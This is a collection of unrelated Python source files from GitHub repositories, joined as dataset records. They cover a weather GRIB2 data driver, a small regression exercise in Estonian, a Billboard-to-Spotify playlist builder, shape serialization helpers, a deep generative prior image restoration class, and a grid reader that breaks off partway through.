  return (dt.datetime.strptime(groups[0], \"%Y%m%d_%H%M\")\n                           .replace(tzinfo=UTC))\n\n\n@driver.override(\"description\")\ndef nearcast_description(settings):\n    file_names = get_file_names(settings[\"pattern\"])\n    items = get_data_vars(sorted(file_names)[-1])\n    return Description(**{\n        \"attrs\": {\n            \"product\": \"Nearcast\",\n            \"reference\": \"CIMSS, University Wisconsin-Madison\"\n        },\n        \"data_vars\": {\n            item[\"name\"]: {\n                \"dims\": [\n                    DIMENSION.start_time.name,\n                    DIMENSION.time.name,\n                    DIMENSION.level.name,\n                ],\n                \"attrs\": {\n                    \"long_name\": item[\"name\"],\n                    \"units\": item[\"units\"],\n                }\n            } for item in items\n        }\n    })\n\n\n@lru_cache\ndef get_data_vars(path):\n    items = []\n    messages = pg.open(path)\n    for message in messages.select():\n        items.append({\n            \"name\": message['name'],\n            \"units\": message['units']\n        })\n    messages.close()\n    return items\n\n\n@driver.override(\"points\")\ndef nearcast_points(settings: Settings, data_var: str, dim_name: str,\n                    query=None):\n    \"\"\"Dimension values\n\n    :returns: JSON representation of coordinate\n    \"\"\"\n\n    if isinstance(settings, dict):\n        settings = Settings(**settings)\n\n    if isinstance(query, str):\n        query = Query(**json.loads(query))\n\n    file_names = get_file_names(settings.pattern)\n\n    # Support dimensions\n    if DIMENSION[dim_name] == DIMENSION.start_time:\n        dates = []\n        for path in file_names:\n            date = parse_date(path)\n            if date is None:\n                dates.append(dt.datetime(1970, 1, 1))\n            else:\n                dates.append(date)\n        data = list(sorted(set(dates)))[-100:]  # TODO: support 100+ dates in UI\n        attrs = PointsAttrs(standard_name=\"time\")\n\n    elif DIMENSION[dim_name] == DIMENSION.level:\n        path = sorted(file_names)[-1]  # TODO: replace with actual search\n        data = sorted(set(get_first_fixed_surface(path, data_var)))\n        attrs = PointsAttrs(standard_name=\"pressure\", units=\"Pa\")\n\n    elif DIMENSION[dim_name] == DIMENSION.time:\n        if query is None:\n            # Most recent file time axis if no query specified\n            path = sorted(file_names)[-1]\n        else:\n            path = find_nearest(file_names, query.start_time).path\n\n        data = sorted(set(get_validity(path, data_var)))\n        attrs = PointsAttrs(standard_name=\"time\")\n\n    else:\n        raise Exception(f\"unknown dim_name: {dim_name}\")\n\n    # Format response\n    return Points(\n        data_var=data_var,\n        dim_name=dim_name,\n        data=data,\n        attrs=attrs,\n    ).dict()\n\n\n@driver.override(\"tilable\")\ndef nearcast_tilable(settings, data_var, query: TileQuery = None):\n    if isinstance(query, str):\n        query = TileQuery(**json.loads(query))\n\n    file_names = get_file_names(settings[\"pattern\"])\n    timestamp_s = query.time.timestamp()\n    path = sorted(file_names)[-1]\n    return get_grib2_data(path, timestamp_s, data_var)\n\n\n@lru_cache\ndef get_grib2_data(path, timestamp_s, variable):\n    time = dt.datetime.fromtimestamp(timestamp_s)\n    cache = {}\n    messages = pg.index(path,\n                        \"name\",\n                        \"scaledValueOfFirstFixedSurface\",\n                        \"validityTime\")\n    if len(path) > 0:\n        levels = sorted(set(get_first_fixed_surface(path, variable)))\n        level = levels[0]  # TODO: Fix this\n        vTime = \"{0:d}{1:02d}\".format(time.hour, time.minute)\n        field = messages.select(\n            name=variable,\n            scaledValueOfFirstFixedSurface=int(level),\n            validityTime=int(vTime))[0]\n        cache[\"longitude\"] = field.latlons()[1][0, :]\n        cache[\"latitude\"] = field.latlons()[0][:, 0]\n        cache[\"values\"] = field.values\n        cache[\"units\"] = field.units\n        scaledLowerLevel = float(field.scaledValueOfFirstFixedSurface)\n        scaleFactorLowerLevel = float(field.scaleFactorOfFirstFixedSurface)\n        lowerSigmaLevel = str(round(scaledLowerLevel * 10**-scaleFactorLowerLevel, 2))\n        scaledUpperLevel = float(field.scaledValueOfSecondFixedSurface)\n        scaleFactorUpperLevel = float(field.scaleFactorOfSecondFixedSurface)\n        upperSigmaLevel = str(round(scaledUpperLevel * 10**-scaleFactorUpperLevel, 2))\n        cache['layer'] = lowerSigmaLevel+\"-\"+upperSigmaLevel\n    messages.close()\n\n    return cache\n\n\ndef get_first_fixed_surface(path, variable):\n    messages = pg.index(path, \"name\")\n    try:\n        for message in messages.select(name=variable):\n            yield message[\"scaledValueOfFirstFixedSurface\"]\n    except ValueError:\n        # messages.select(name=variable) raises ValueError if not found\n        pass\n    messages.close()\n\n\ndef get_validity(path, variable):\n    messages = pg.index(path, \"name\")\n    try:\n        for message in messages.select(name=variable):\n            validTime = \"{0:8d}{1:04d}\".format(message[\"validityDate\"],\n                                               message[\"validityTime\"])\n            yield (dt.datetime.strptime(validTime, \"%Y%m%d%H%M\")\n                              .replace(tzinfo=UTC))\n    except ValueError:\n        # messages.select(name=variable) raises ValueError if not found\n        pass\n    messages.close()\n","repo_name":"MetOffice/forest-lite","sub_path":"forest_lite/server/drivers/nearcast.py","file_name":"nearcast.py","file_ext":"py","file_size_in_byte":6977,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"29999873005","text":"def opi(x_list, y_list):\n    # Modelleerime sõltuvust sisendi ja väljundi vahel\n    # lineaarfunktsiooni (sirge) abil: valjund = a * sisend + b, kus\n    # a ja b on kordajad ehk kaalud ehk mudeli parameetrid.\n    # Kordajate arvutamiseks kasutame sirge võrrandit kahe punktiga.\n    # Kuna sirge on määratud kahe punktiga, siis õppimiseks rakendamegi\n    # ainult kahte esimest näidet isegi siis, kui neid on antud rohkem.\n \n    a = (y_list[1] - y_list[0]) / (x_list[1] - x_list[0])\n    b = (y_list[0] * x_list[1] - y_list[1] * x_list[0]) / (x_list[1] - x_list[0])\n    return [a, b]  # Tagastame kordajad listina\n \ndef ennusta(x, kaalud):\n    # Ennustamiseks on vaja arvutada lineaarfunktsiooni väärtus\n    # kohal x, mis vastab kasutaja sisendile, kasutades õpitud kordajaid.\n    a = kaalud[0]\n    b = kaalud[1]\n    return a * x + b\n \n# Loeme treeningandmed failist.\nf = open('treeningandmed.txt')\nsisendvaartused = []\nvaljundvaartused = []\nfor rida in f:\n    jupid = rida.split(',')\n    sisendvaartused.append(float(jupid[0]))\n    valjundvaartused.append(float(jupid[1]))\nf.close()\n \n# Õpime treeningandmete põhjal selgeks kaalud ehk mudeli parameetrid.\nkaalud = opi(sisendvaartused, valjundvaartused)\n \n# Ennustame uue sisendi väärtust, kasutades õpitud kaale.\nkasutaja_sisend = float(input('Sisend: '))\nennustus = ennusta(kasutaja_sisend, kaalud)\nprint('Ennustus: ' + str(ennustus))","repo_name":"TurboNaator/Prog_alused","sub_path":"masinõpe.py","file_name":"masinõpe.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"et","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42235577501","text":"from warnings import resetwarnings\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport os\r\nimport spotipy\r\nfrom spotipy.oauth2 import SpotifyOAuth\r\nfrom pprint import pprint\r\n\r\nSPOTIPY_CLIENT_ID = os.environ.get(\"SPOTIPY_CLIENT_ID\")\r\nSPOTIPY_CLIENT_SECRET = os.environ.get(\"SPOTIPY_CLIENT_SECRET\")\r\n\r\n\r\n# get the top 100 songs\r\ndate = input(\"Which year do you want to travel to? Type the date in the format YYYY-MM-DD: \")\r\nURL = f\"https://www.billboard.com/charts/hot-100/{date}\"\r\n\r\nresponse = requests.get(URL)\r\nresponse.raise_for_status\r\nwebsite_html = response.text\r\n\r\nsoup = BeautifulSoup(website_html, \"html.parser\")\r\n\r\nsongs = soup.find_all(name=\"span\", class_=\"chart-element__information__song\")\r\nartists = soup.find_all(name=\"span\", class_=\"chart-element__information__artist\")\r\nsong_titles = [song.getText() for song in songs]\r\nartist_names = [artist.getText() for artist in artists]\r\ntracks = zip(song_titles, artist_names)\r\n\r\n# for track in tracks:\r\n#     print(track[0], track[1])\r\n\r\n# access spotify\r\nscope = \"playlist-modify-private\"\r\nsp = spotipy.Spotify(auth_manager=SpotifyOAuth(\r\n        client_id=SPOTIPY_CLIENT_ID, \r\n        client_secret=SPOTIPY_CLIENT_SECRET,\r\n        redirect_uri = \"https://example.com/callback/\",\r\n        show_dialog = True,\r\n        cache_path=\"token.txt\",\r\n        scope=scope)\r\n    )\r\nuser_id = sp.current_user()[\"id\"]\r\n\r\nuris = []\r\nfor track in tracks:\r\n    # search for the songs\r\n    song, artist = track\r\n    result = sp.search(f\"artist:{artist} track:{song}\", limit=1, type=\"track\")\r\n    hits = result[\"tracks\"][\"items\"]\r\n    if len(hits) == 0:\r\n        print(f\"{song} by {artist} is not available in Spotify\")\r\n    else:\r\n        uri = hits[0][\"uri\"]\r\n        uris.append(uri)\r\n\r\n# create a playlist\r\nplaylist = sp.user_playlist_create(user_id, \r\n    f\"{date} Bilboard 100\", \r\n    public=False, \r\n    description= f\"Top songs in {date}\"\r\n)\r\nprint(f\"Playlist '{date} Bilboard 100' created.\")\r\n\r\n# add songs\r\nplaylist_id = playlist[\"id\"]\r\nexternal_urls = playlist[\"external_urls\"][\"spotify\"]\r\nsp.user_playlist_add_tracks(user=user_id, playlist_id=playlist_id, tracks=uris)\r\nprint(f\"{len(uris)} songs added.\")\r\nprint(f\"Access the playlist here: {external_urls}\")","repo_name":"maryletteroa/100DaysOfCode-Python","sub_path":"46/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38606199738","text":"def unique(s):\r\n    res = list()\r\n    for i in s:\r\n        if( i not in res):\r\n            res.append(i)\r\n    return(res)\r\n\r\nfor _ in range(int(input())):\r\n    string1 = sorted(unique(list(input())))\r\n    string2 = sorted(unique(list(input())))\r\n    result = list()\r\n    for i in string1:\r\n        if( i in string2):\r\n            result.append(i)\r\n    if(len(result)==0):\r\n        print('nil')\r\n    else:\r\n        print(*result,sep='')\r\n","repo_name":"schizoleo/-python-programs","sub_path":"String of Commons.py","file_name":"String of Commons.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11852573574","text":"#!/usr/bin/python3\n\"\"\"This module contains a class ``Base``\"\"\"\nimport json\nimport csv\n\n\nclass Base:\n    \"\"\"This class is the base class for the module\"\"\"\n    __nb_objects = 0\n\n    def __init__(self, id=None):\n        \"\"\"Initializes the base class\"\"\"\n        if id is not None:\n            self.id = id\n        else:\n            Base.__nb_objects += 1\n            self.id = Base.__nb_objects\n\n    @staticmethod\n    def to_json_string(list_dictionaries):\n        \"\"\"Returns the JSON string representation of a list of dictionaries\n        \"\"\"\n        if list_dictionaries:\n            return json.dumps(list_dictionaries)\n        else:\n            return \"[]\"\n\n    @classmethod\n    def save_to_file(cls, list_objs):\n        \"\"\"Writes the JSON string representation of list_objs to a file\n        \"\"\"\n        with open(\"{}.json\".format(cls.__name__), \"w\") as newfile:\n            if list_objs:\n                newdict = [obj.to_dictionary() for obj in list_objs]\n                newfile.write(Base.to_json_string(newdict))\n            else:\n                newfile.write(\"[]\")\n\n    @staticmethod\n    def from_json_string(json_string):\n        \"\"\"Returns the list of the JSON string representation `json_string`\n        \"\"\"\n        if json_string:\n            return json.loads(json_string)\n        else:\n            return []\n\n    @classmethod\n    def create(cls, **dictionary):\n        \"\"\"Returns an instance with all attributes already set\"\"\"\n        if cls.__name__ == \"Rectangle\":\n            dummy = cls(1, 2)\n        else:\n            dummy = cls(1)\n        dummy.update(**dictionary)\n        return dummy\n\n    @classmethod\n    def load_from_file(cls):\n        \"\"\"Returns a list of instances\"\"\"\n        try:\n            with open(\"{}.json\".format(cls.__name__), \"r\") as readfile:\n                read_data = readfile.read()\n                dictnlist = cls.from_json_string(read_data)\n                return [cls.create(**dictn) for dictn in dictnlist]\n        except IOError:\n            return []\n\n    @classmethod\n    def save_to_file_csv(cls, list_objs):\n        \"\"\"Writes the JSON string representation of list_objs to a csv file\n        \"\"\"\n        with open(\"{}.csv\".format(cls.__name__), \"w\", newline=\"\") as newfile:\n            if list_objs:\n                if cls.__name__ == 'Rectangle':\n                    fieldnames = ['id', 'width', 'height', 'x', 'y']\n                else:\n                    fieldnames = ['id', 'size', 'x', 'y']\n                writefile = csv.DictWriter(newfile, fieldnames=fieldnames)\n                for obj in list_objs:\n                    writefile.writerow(obj.to_dictionary())\n            else:\n                newfile.write(\"[]\")\n\n    @classmethod\n    def load_from_file_csv(cls):\n        \"\"\"Returns a list of instances from the csv file\"\"\"\n        try:\n            with open(\"{}.csv\".format(cls.__name__), \"r\", newline=\"\") as dfile:\n                if cls.__name__ == 'Rectangle':\n                    fieldnames = ['id', 'width', 'height', 'x', 'y']\n                else:\n                    fieldnames = ['id', 'size', 'x', 'y']\n                rd = csv.DictReader(dfile, fieldnames=fieldnames)\n                diclist = [dict([k, int(v)] for k, v in r.items()) for r in rd]\n                return [cls.create(**dictn) for dictn in diclist]\n        except IOError:\n            return []\n","repo_name":"thegirlSynth/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14709253874","text":"import os\nfrom copy import deepcopy\n\nimport numpy as np\nimport torch\nimport torch.distributed as dist\nimport torch.nn.functional as F\nimport torchvision\nfrom PIL import Image\nfrom skimage import color\nfrom skimage.measure import compare_psnr, compare_ssim\nfrom torch.autograd import Variable\n\nimport models\nimport utils\nfrom models.downsampler import Downsampler\n\n\nclass DGP(object):\n\n    def __init__(self, config):\n        self.rank, self.world_size = 0, 1\n        if config['dist']:\n            self.rank = dist.get_rank()\n            self.world_size = dist.get_world_size()\n        self.config = config\n        self.mode = config['dgp_mode']\n        self.update_G = config['update_G']\n        self.update_embed = config['update_embed']\n        self.iterations = config['iterations']\n        self.ftr_num = config['ftr_num']\n        self.ft_num = config['ft_num']\n        self.lr_ratio = config['lr_ratio']\n        self.G_lrs = config['G_lrs']\n        self.z_lrs = config['z_lrs']\n        self.use_in = config['use_in']\n        self.select_num = config['select_num']\n        self.factor = 2 if self.mode == 'hybrid' else 4  # Downsample factor\n\n        # create model\n        self.G = models.Generator(**config).cuda()\n        self.D = models.Discriminator(\n            **config).cuda() if config['ftr_type'] == 'Discriminator' else None\n        self.G.optim = torch.optim.Adam(\n            [{'params': self.G.get_params(i, self.update_embed)}\n                for i in range(len(self.G.blocks) + 1)],\n            lr=config['G_lr'],\n            betas=(config['G_B1'], config['G_B2']),\n            weight_decay=0,\n            eps=1e-8)\n\n        # load weights\n        if config['random_G']:\n            self.random_G()\n        else:\n            utils.load_weights(\n                self.G if not (config['use_ema']) else None,\n                self.D,\n                config['weights_root'],\n                name_suffix=config['load_weights'],\n                G_ema=self.G if config['use_ema'] else None,\n                strict=False)\n\n        self.G.eval()\n        if self.D is not None:\n            self.D.eval()\n        self.G_weight = deepcopy(self.G.state_dict())\n\n        # prepare latent variable and optimizer\n        self._prepare_latent()\n        # prepare learning rate scheduler\n        self.G_scheduler = utils.LRScheduler(self.G.optim, config['warm_up'])\n        self.z_scheduler = utils.LRScheduler(self.z_optim, config['warm_up'])\n\n        # loss functions\n        self.mse = torch.nn.MSELoss()\n        if config['ftr_type'] == 'Discriminator':\n            self.ftr_net = self.D\n            self.criterion = utils.DiscriminatorLoss(ftr_num=config['ftr_num'][0])\n        else:\n            vgg = torchvision.models.vgg16(pretrained=True).cuda().eval()\n            self.ftr_net = models.subsequence(vgg.features, last_layer='20')\n            self.criterion = utils.PerceptLoss()\n\n        # Downsampler for producing low-resolution image\n        self.downsampler = Downsampler(\n            n_planes=3,\n            factor=self.factor,\n            kernel_type='lanczos2',\n            phase=0.5,\n            preserve_size=True).type(torch.cuda.FloatTensor)\n\n    def _prepare_latent(self):\n        self.z = torch.zeros((1, self.G.dim_z)).normal_().cuda()\n        self.z = Variable(self.z, requires_grad=True)\n        self.z_optim = torch.optim.Adam(\n            [{'params': self.z, 'lr': self.z_lrs[0]}],\n            betas=(self.config['G_B1'], self.config['G_B2']),\n            weight_decay=0,\n            eps=1e-8\n        )\n        self.y = torch.zeros(1).long().cuda()\n\n    def reset_G(self):\n        self.G.load_state_dict(self.G_weight, strict=False)\n        self.G.reset_in_init()\n        if self.config['random_G']:\n            self.G.train()\n        else:\n            self.G.eval()\n\n    def random_G(self):\n        self.G.init_weights()\n\n    def set_target(self, target, category, img_path):\n        self.target_origin = target\n        # apply degradation transform to the original image\n        self.target = self.pre_process(target, True)\n        self.y.fill_(category.item())\n        self.img_name = img_path[img_path.rfind('/') + 1:img_path.rfind('.')]\n\n    def run(self, save_interval=None):\n        save_imgs = self.target.clone()\n        save_imgs2 = save_imgs.cpu().clone()\n        loss_dict = {}\n        curr_step = 0\n        count = 0\n        for stage, iteration in enumerate(self.iterations):\n            # setup the number of features to use in discriminator\n            self.criterion.set_ftr_num(self.ftr_num[stage])\n\n            for i in range(iteration):\n                curr_step += 1\n                # setup learning rate\n                self.G_scheduler.update(curr_step, self.G_lrs[stage],\n                                        self.ft_num[stage], self.lr_ratio[stage])\n                self.z_scheduler.update(curr_step, self.z_lrs[stage])\n\n                self.z_optim.zero_grad()\n                if self.update_G:\n                    self.G.optim.zero_grad()\n                x = self.G(self.z, self.G.shared(self.y), use_in=self.use_in[stage])\n                # apply degradation transform\n                x_map = self.pre_process(x, False)\n\n                # calculate losses in the degradation space\n                ftr_loss = self.criterion(self.ftr_net, x_map, self.target)\n                mse_loss = self.mse(x_map, self.target)\n                # nll corresponds to a negative log-likelihood loss\n                nll = self.z**2 / 2\n                nll = nll.mean()\n                l1_loss = F.l1_loss(x_map, self.target)\n                loss = ftr_loss * self.config['w_D_loss'][stage] + \\\n                    mse_loss * self.config['w_mse'][stage] + \\\n                    nll * self.config['w_nll']\n                loss.backward()\n\n                self.z_optim.step()\n                if self.update_G:\n                    self.G.optim.step()\n\n                # These losses are calculated in the [-1,1] image scale\n                # We record the rescaled MSE and L1 loss, corresponding to [0,1] image scale\n                loss_dict = {\n                    'ftr_loss': ftr_loss,\n                    'nll': nll,\n                    'mse_loss': mse_loss / 4,\n                    'l1_loss': l1_loss / 2\n                }\n\n                # calculate losses in the non-degradation space\n                if self.mode in ['reconstruct', 'colorization', 'SR', 'inpainting']:\n                    # x2 is to get the post-processed result in colorization\n                    metrics, x2 = self.get_metrics(x)\n                    loss_dict = {**loss_dict, **metrics}\n\n                if i == 0 or (i + 1) % self.config['print_interval'] == 0:\n                    if self.rank == 0:\n                        print(', '.join(\n                            ['Stage: [{0}/{1}]'.format(stage + 1, len(self.iterations))] +\n                            ['Iter: [{0}/{1}]'.format(i + 1, iteration)] +\n                            ['%s : %+4.4f' % (key, loss_dict[key]) for key in loss_dict]\n                        ))\n                    # save image sheet of the reconstruction process\n                    save_imgs = torch.cat((save_imgs, x), dim=0)\n                    torchvision.utils.save_image(\n                        save_imgs.float(),\n                        '%s/images_sheet/%s_%s.jpg' %\n                        (self.config['exp_path'], self.img_name, self.mode),\n                        nrow=int(save_imgs.size(0)**0.5),\n                        normalize=True)\n                    if self.mode == 'colorization':\n                        save_imgs2 = torch.cat((save_imgs2, x2), dim=0)\n                        torchvision.utils.save_image(\n                            save_imgs2.float(),\n                            '%s/images_sheet/%s_%s_2.jpg' %\n                            (self.config['exp_path'], self.img_name, self.mode),\n                            nrow=int(save_imgs.size(0)**0.5),\n                            normalize=True)\n\n                if save_interval is not None:\n                    if i == 0 or (i + 1) % save_interval[stage] == 0:\n                        count += 1\n                        save_path = '%s/images/%s' % (self.config['exp_path'],\n                                                      self.img_name)\n                        if not os.path.exists(save_path):\n                            os.makedirs(save_path)\n                        img_path = os.path.join(\n                            save_path, '%s_%03d.jpg' % (self.img_name, count))\n                        utils.save_img(x[0], img_path)\n\n                # stop the reconstruction if the loss reaches a threshold\n                if mse_loss.item() < self.config['stop_mse'] or ftr_loss.item(\n                ) < self.config['stop_ftr']:\n                    break\n\n        # save images\n        utils.save_img(\n            self.target[0], '%s/images/%s_%s_target.png' %\n            (self.config['exp_path'], self.img_name, self.mode))\n        utils.save_img(\n            self.target_origin[0],\n            '%s/images/%s_%s_target_origin.png' %\n            (self.config['exp_path'], self.img_name, self.mode))\n        utils.save_img(\n            x[0], '%s/images/%s_%s.png' %\n            (self.config['exp_path'], self.img_name, self.mode))\n        if self.mode == 'colorization':\n            utils.save_img(\n                x2[0], '%s/images/%s_%s2.png' %\n                (self.config['exp_path'], self.img_name, self.mode))\n\n        if self.mode == 'jitter':\n            # conduct random jittering\n            self.jitter(x)\n        if self.config['save_G']:\n            torch.save(\n                self.G.state_dict(), '%s/G_%s_%s.pth' %\n                (self.config['exp_path'], self.img_name, self.mode))\n            torch.save(\n                self.z, '%s/z_%s_%s.pth' %\n                (self.config['exp_path'], self.img_name, self.mode))\n        return loss_dict\n\n    def select_z(self, select_y=False):\n        with torch.no_grad():\n            if self.select_num == 0:\n                self.z.zero_()\n                return\n            elif self.select_num == 1:\n                self.z.normal_()\n                return\n            z_all, y_all, loss_all = [], [], []\n            if self.rank == 0:\n                print('Selecting z from {} samples'.format(self.select_num))\n            # only use last 3 discriminator features to compare\n            self.criterion.set_ftr_num(3)\n            for i in range(self.select_num):\n                self.z.normal_(mean=0, std=self.config['sample_std'])\n                z_all.append(self.z.cpu())\n                if select_y:\n                    self.y.random_(0, self.config['n_classes'])\n                    y_all.append(self.y.cpu())\n                x = self.G(self.z, self.G.shared(self.y))\n                x = self.pre_process(x)\n                ftr_loss = self.criterion(self.ftr_net, x, self.target)\n                loss_all.append(ftr_loss.view(1).cpu())\n                if self.rank == 0 and (i + 1) % 100 == 0:\n                    print('Generating {}th sample'.format(i + 1))\n            loss_all = torch.cat(loss_all)\n            idx = torch.argmin(loss_all)\n            self.z.copy_(z_all[idx])\n            if select_y:\n                self.y.copy_(y_all[idx])\n            self.criterion.set_ftr_num(self.ftr_num[0])\n\n    def pre_process(self, image, target=True):\n        if self.mode in ['SR', 'hybrid']:\n            # apply downsampling, this part is the same as deep image prior\n            if target:\n                image_pil = utils.np_to_pil(\n                    utils.torch_to_np((image.cpu() + 1) / 2))\n                LR_size = [\n                    image_pil.size[0] // self.factor,\n                    image_pil.size[1] // self.factor\n                ]\n                img_LR_pil = image_pil.resize(LR_size, Image.ANTIALIAS)\n                image = utils.np_to_torch(utils.pil_to_np(img_LR_pil)).cuda()\n                image = image * 2 - 1\n            else:\n                image = self.downsampler((image + 1) / 2)\n                image = image * 2 - 1\n            # interpolate to the orginal resolution via bilinear interpolation\n            image = F.interpolate(\n                image, scale_factor=self.factor, mode='bilinear')\n        n, _, h, w = image.size()\n        if self.mode in ['colorization', 'hybrid']:\n            # transform the image to gray-scale\n            r = image[:, 0, :, :]\n            g = image[:, 1, :, :]\n            b = image[:, 2, :, :]\n            gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n            image = gray.view(n, 1, h, w).expand(n, 3, h, w)\n        if self.mode in ['inpainting', 'hybrid']:\n            # remove the center part of the image\n            hole = min(h, w) // 3\n            begin = (h - hole) // 2\n            end = h - begin\n            self.begin, self.end = begin, end\n            mask = torch.ones(1, 1, h, w).cuda()\n            mask[0, 0, begin:end, begin:end].zero_()\n            image = image * mask\n        return image\n\n    def get_metrics(self, x):\n        with torch.no_grad():\n            l1_loss_origin = F.l1_loss(x, self.target_origin) / 2\n            mse_loss_origin = self.mse(x, self.target_origin) / 4\n            metrics = {\n                'l1_loss_origin': l1_loss_origin,\n                'mse_loss_origin': mse_loss_origin\n            }\n            # transfer to numpy array and scale to [0, 1]\n            target_np = (self.target_origin.detach().cpu().numpy()[0] + 1) / 2\n            x_np = (x.detach().cpu().numpy()[0] + 1) / 2\n            target_np = np.transpose(target_np, (1, 2, 0))\n            x_np = np.transpose(x_np, (1, 2, 0))\n            if self.mode == 'colorization':\n                # combine the 'ab' dim of x with the 'L' dim of target image\n                x_lab = color.rgb2lab(x_np)\n                target_lab = color.rgb2lab(target_np)\n                x_lab[:, :, 0] = target_lab[:, :, 0]\n                x_np = color.lab2rgb(x_lab)\n                x = torch.Tensor(np.transpose(x_np, (2, 0, 1))) * 2 - 1\n                x = x.unsqueeze(0)\n            elif self.mode == 'inpainting':\n                # only use the inpainted area to calculate ssim and psnr\n                x_np = x_np[self.begin:self.end, self.begin:self.end, :]\n                target_np = target_np[self.begin:self.end,\n                                      self.begin:self.end, :]\n            ssim = compare_ssim(target_np, x_np, multichannel=True)\n            psnr = compare_psnr(target_np, x_np)\n            metrics['psnr'] = torch.Tensor([psnr]).cuda()\n            metrics['ssim'] = torch.Tensor([ssim]).cuda()\n            return metrics, x\n\n    def jitter(self, x):\n        save_imgs = x.clone().cpu()\n        z_rand = self.z.clone()\n        stds = [0.3, 0.5, 0.7]\n        save_path = '%s/images/%s_jitter' % (self.config['exp_path'],\n                                             self.img_name)\n        if not os.path.exists(save_path):\n            os.makedirs(save_path)\n        with torch.no_grad():\n            for std in stds:\n                for i in range(30):\n                    # add random noise to the latent vector\n                    z_rand.normal_()\n                    z = self.z + std * z_rand\n                    x_jitter = self.G(z, self.G.shared(self.y))\n                    utils.save_img(\n                        x_jitter[0], '%s/std%.1f_%d.jpg' % (save_path, std, i))\n                    save_imgs = torch.cat((save_imgs, x_jitter.cpu()), dim=0)\n\n        torchvision.utils.save_image(\n            save_imgs.float(),\n            '%s/images_sheet/%s_jitters.jpg' %\n            (self.config['exp_path'], self.img_name),\n            nrow=int(save_imgs.size(0)**0.5),\n            normalize=True)\n","repo_name":"XingangPan/deep-generative-prior","sub_path":"models/dgp.py","file_name":"dgp.py","file_ext":"py","file_size_in_byte":15692,"program_lang":"python","lang":"en","doc_type":"code","stars":464,"dataset":"github-code","pt":"21"}
+{"seq_id":"21679143577","text":"import numpy as np\nimport struct\n\n__author__ = 'pslii'\n\n\nclass gridReader:\n    \"\"\"\n    Reads in and parses binary grid file for 2D polar and 3D cyl coordiantes\n    \"\"\"\n\n    def __init__(self, params, fname='grid', path='.'):\n        if ('nztot' in params.keys()) & ('nlayers_k' in params.keys()):\n            self.ndims = 3\n        else:\n            self.ndims = 2\n\n        self.nxtot = params['nxtot']\n        self.nytot = params['nytot']\n        self.nlayers_i = params['nlayers_i']\n        self.nlayers_j = params['nlayers_j']\n\n        if self.ndims == 3:\n            self.nztot = params['nztot']\n            self.nlayers_k = params['nlayers_k']\n            self.shape = (self.nxtot, self.nytot, self.nztot)\n        else:\n            self.nztot = None\n            self.nlayers_k = None\n            self.shape = (self.nxtot, self.nytot)\n\n        self.r_edge, self.phi_edge, self.z_edge = self._readGrid(fname, path)\n        self.r, self.phi, self.z = self._computeCellCoordinates()\n        self.dr, self.dphi, self.dz = self._computeCellSize()\n\n        self.xy_area, self.xz_area, self.vol = self._computeCellVol()\n\n        self.x = self.r[:, np.newaxis] * np.cos(self.phi[np.newaxis, :])\n        self.y = self.r[:, np.newaxis] * np.sin(self.phi[np.newaxis, :])\n        self.x_edge = self.r_edge[:, np.newaxis] * np.cos(self.phi_edge[np.newaxis, :])\n        self.y_edge = self.r_edge[:, np.newaxis] * np.sin(self.phi_edge[np.newaxis, :])\n\n        # spherical radius\n        if self.ndims == 3:\n            self.r_sph = np.sqrt(np.tile(self.r ** 2, (self.nztot, 1)) + \\\n                                 np.tile(self.z ** 2, (self.nxtot, 1)).transpose())\n        else:\n            self.r_sph = self.r\n\n        # TODO: find more efficient method to generate these\n        self.r2D, self.phi2D, self.z2D = self._grid2d(self.r, self.phi, self.z)\n        self.dr2D, self.dphi2D, self.dz2D = self._grid2d(self.dr, self.dphi, self.dz)\n        if self.ndims == 3:\n            self.r3D, self.phi3D, self.z3D = self._grid3d(self.r2D, self.phi2D, self.z)\n            self.dr3D, self.dphi3D, self.dz3D = self._grid3d(self.dr2D, self.dphi2D, self.dz)\n            self.dV3D = self.r3D * self.dr3D * self.dphi3D * self.dz3D\n        else:\n            self.r3D, self.phi3D, self.z3D = None, None, None\n            self.dr3D, self.dphi3D, self.dz3D = None, None, None\n            self.dV3D = None\n\n\n        # Optional variables initialized on first call\n        self._jacobian = None\n\n        # RZ Plotting\n        self._r_rzPlot, self._z_rzPlot = None, None\n\n        # RPHI Plotting\n        self._r_rphiPlot = None\n\n    def _grid2d(self, r, phi, z):\n        r2D = np.vstack((r,) * self.nytot).transpose()  # rphi\n        phi2D = np.vstack((phi,) * self.nxtot)  # rphi\n        z2D = np.vstack((z[:, np.newaxis].transpose(),) * self.nxtot)  # rz\n        return r2D, phi2D, z2D\n\n    def _grid3d(self, r2D, phi2D, z):\n        r3D = np.dstack((r2D,) * self.nztot)\n        phi3D = np.dstack((phi2D,) * self.nztot)\n        zZPhi = np.vstack((z[:, np.newaxis].transpose(),) * self.nytot).transpose()  # zphi\n        z3D = np.dstack((zZPhi,) * self.nxtot).transpose()\n        return r3D, phi3D, z3D\n\n    def xDist(self, xp):\n        return self.x - xp\n\n    def yDist(self, yp):\n        return self.y - yp\n\n    def zDist(self, zp):\n        return self.z - zp\n\n    def plotCoordsRPHI(self, phi_p):\n        if self._r_rphiPlot is None:\n            self._r_rphiPlot = np.vstack((self.r_edge[2:-3],) * self.nytot).T\n\n        phi_rphiPlot = (self.phi_edge[2:-3] + (np.pi - phi_p)) % (2 * np.pi)\n        phi_rphiPlot = np.vstack((phi_rphiPlot,) * self.nxtot)\n        return self._r_rphiPlot, phi_rphiPlot\n\n    def plotCoordsRZ(self):\n        if (self._r_rzPlot is None) or (self._z_rzPlot is None):\n            self._r_rzPlot = np.vstack((self.r_edge[2:-3],) * self.nztot).transpose()\n            self._z_rzPlot = np.vstack((self.z_edge[2:-3],) * self.nxtot)\n\n        return self._r_rzPlot, self._z_rzPlot\n\n    def integrate(self, 